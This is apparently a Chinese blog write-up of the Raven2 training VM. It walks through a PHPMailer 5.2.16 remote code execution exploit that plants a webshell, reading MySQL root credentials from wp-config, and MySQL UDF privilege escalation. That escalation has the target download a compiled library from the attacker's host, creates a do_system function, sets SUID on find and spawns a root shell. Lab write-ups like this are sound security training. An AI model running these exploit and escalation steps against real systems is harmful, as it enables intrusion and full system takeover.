• 靶机 Raven2 / UDF 提权


    Raven2

    信息搜集

    存活检测

    image-20231013094025398

    详细扫描

    image-20231013094051995

    后台扫描

    dirsearch -u http://10.4.7.135 -x 403
    # 过滤状态码为 403 的后台页面
    
    • 1
    • 2

    image-20231013094145680

    Webshell

    漏洞发现

    • 访问扫描出的后台页面

      /vendor 页面

      image-20231013094216730

      发现网站使用了 PHPMailer

      PHPMailer是一个用于发送电子邮件的PHP库。它提供了一个简单而灵活的方式来发送邮件,支持SMTP、POP3和IMAP协议,并且支持附件、HTML内容、邮件认证等功能。PHPMailer可以与大多数主流的邮件服务器和邮件服务提供商一起使用,是PHP开发中常用的邮件发送工具之一

      image-20231013094237854

      查看 VERSION 文件发现版本为 5.2.16

      image-20231013094251094

    漏洞利用

    • 搜索漏洞

      serachsploit phpmailer
      
      • 1

      image-20231013094322788

      下载

      searchsploit -m 40974.py
      
      • 1
    • 查看攻击脚本并修改

      image-20231013094353760

      • 修改目标 ip,添加存在漏洞的 php 页面,

      • 修改 kali ip

      • 更改后门程序存放位置

        保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件 icepeak.php

    • 运行脚本

      python 40974.py
      
      • 1

      image-20231013094414682

      成功生成文件

    • kali 开启 nc 监听

      image-20231013094432357

    • 访问脚本在网站生成的 Webshell 文件

      http://10.4.7.135/backdoor.php

    • 成功获取 Webshell

      image-20231013094503147

    提权

    提权准备

    • 在 /var/www/html/wordpress 目录下的 wp 配置文件 wp-config 文件中发现了数据库的账号密码

      账号 root

      密码 R@v3nSecurity

      image-20231013191445249

    • 尝试登录数据库

      mysql -uroot -pR@v3nSecurity
      
      • 1
    • 查看数据库中内容,发现两个用户

      image-20231013191800816

      image-20231013192031849

      michael P P PBjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

      steven LOLLOL1

    • 可以使用 steven 登录后台

      image-20231013192411139

      没用

    • 利用工具 LinEnum(Linux枚举及权限提升检查工具)
      链接:https://pan.baidu.com/s/1AT3PKicE05u6PsykiwCt-g?pwd=s8dt
      提取码:s8dt
      image-20231013194214689

      image-20231014092640146

      可以看到 MySQL 服务是 root 身份运行的

    UDF 提权

    UDF 提权利用前提条件
    1. mysql 配置文件 secure_file_priv 项设置为空,(如果为 NULL 或 /tmp/ 等指定目录,即无法自定义 udf 文件导出位置,则无法利用)。

      show variables like '%secure%'; 查看可导出文件位置

    2. CREATE 权限、FILE 权限(root 用户默认拥有所有权限)。

    3. Linux系统需要 plugin 目录的写入权限。

    4. Linux环境下的 UDF 提权大概率仅限于靶场环境中,原因:在 Linux 严格的系统权限下,mysql 用户或 web 用户无 plugin 目录的写入权限。

    UDF 提权原理

    在 MySQL 数据库中,UDF 函数的实现通常需要创建一个动态链接库文件(也称为插件文件或plugin文件)。动态链接库是一种可执行文件,可以在程序运行时动态地加载到内存中,与程序进行链接,提供额外的功能。

    UDF 函数通常需要使用 C 或 C++ 等编程语言编写,并将其编译成动态链接库文件。在MySQL 中,UDF 函数的动态链接库文件通常使用 .so 或 .dll 扩展名。这个文件包含了 UDF 函数的代码和相关的库文件,可以在 MySQL 中进行加载和使用。

    提权过程
    1. 在Windows中Mysql一般以System权限执行。故UDF提权漏洞出现原因,主要是因为root用户密码泄露,弱密码等,或者是普通用户有对plugin等文件夹有写权限。
    2. Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行,而守护程序mysqld_safe才是以root权限。所以说Linux下UDF提权出现的机会比较少,只有当mysqld进程是root执行的时候才会出现udf提权。
    3. MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。一般sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。不过sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。但是可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用。
    • 查看当前数据库用户的权限

      select * from mysql.user where user = substring_index(user(), '@', 1)\G;
      
      • 1

      image-20231014093537160

    实现

    • 找到 plugin 文件位置

       find / -name plugin
      
      • 1

      image-20231014103131911

    • searchsploit 搜索 mysql udf 漏洞脚本并下载

      searchsploit mysql udf
      searchsploit -m 1518.c  
      
      • 1
      • 2

      image-20231014100001531

    • 查看漏洞脚本使用方法

      image-20231014100342457

       * Usage:
       * $ id
       * uid=500(raptor) gid=500(raptor) groups=500(raptor)
       * $ gcc -g -c 1518.c
       # -g选项用于在编译过程中生成调试信息,以便在程序出错时进行调试。
       # -c选项用于将源代码编译成目标文件,而不进行链接操作。编译后的目标文件一般以.o或.obj为扩展名。
       * $ gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
       # 将1518.o目标文件与C标准库进行链接,并生成一个名为1518.so的动态链接库文件。
       * $ mysql -uroot -pR@v3nSecurity
       * [...]
       * python -c 'import pty;pty.spawn("/bin/bash")'
       * mysql> use mysql;
       * mysql> create table foo(line blob);
       # 在当前数据库中创建一个名为zwt的表,该表只有一个列名为line,数据类型为blob(二进制大对象)。
       * mysql> insert into foo values(load_file('/tmp/1518.so'));
       # 向zwt表中插入一条记录,该记录的值是通过load_file函数加载/tmp/1518.so文件的内容。load_file函数用于读取文件内容并返回其二进制数据。
       * mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
       # 将读取的 /tmp 下下载的 1518.so 文件输出保存到 /usr/lib/mysql/plugin 动态链接库目录下
       * mysql> create function do_system returns integer soname '1518.so';
       # 创建一个名为do_system的MySQL函数,该函数使用名为1518.so的动态链接库作为实现
       * mysql> select * from mysql.func;
       # 查看已经创建的函数的详细信息
       * +-----------+-----+----------------+----------+
       * | name      | ret | dl             | type     |
       * +-----------+-----+----------------+----------+
       * | do_system |   2 | 1518.so | function |
       * +-----------+-----+----------------+----------+
       * mysql> select do_system('chmod u+s /usr/bin/find');
       * find ./ aaa -exec '/bin/sh' \;
       * sh-2.05b$ cat /tmp/out
       * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
       * [...]
       *
       * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20
      • 21
      • 22
      • 23
      • 24
      • 25
      • 26
      • 27
      • 28
      • 29
      • 30
      • 31
      • 32
      • 33
      • 34
    • kali 编译

      image-20231014105228583

    • 靶机回显

      python -c 'import pty;pty.spawn("/bin/bash")'
      
      • 1
    • 靶机下载 1518.so

      cd /tmp
      wget http://10.4.7.132/1518.so
      
      • 1
      • 2

      image-20231014105247753

    • 动态链接库

      mysql -uroot -pR@v3nSecurity
      use mysql;
      create table foo(line blob);
      insert into foo values(load_file('/tmp/1518.so'));
      select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
      create function do_system returns integer soname '1518.so';
      select * from mysql.func;
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7

      image-20231014110231192

    • 执行系统命令赋予 suid 权限

      select do_system('chmod u+s /usr/bin/find');
      
      • 1

      image-20231014112948415

    • find 提权

      find / abc -exec '/bin/sh' \;
      # \;:表示命令的结束符号。它告诉find命令在每个匹配到的文件或目录后执行一次命令。
      
      • 1
      • 2

      image-20231014113222892

      成功获取 root 权限

    总结

    • 动态链接库 udf 提权
    • find 提权
    • suid
  • 相关阅读:
    C++ 之字符串、字符数组与字符指针(*、**)
    软件设计师第4题
    机器学习One-Hot编码
    【微信小程序】网络数据请求
    计算机网络八股文
    STL容器之list
    ‘java‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件
    【数据结构】串
    大数据热点城市波动图案例【CSS3实现 + 原理分析 + 源码获取】
    python+nodejs+vue酒店点餐饮系统项目
  • 原文地址:https://blog.csdn.net/weixin_51559599/article/details/133823499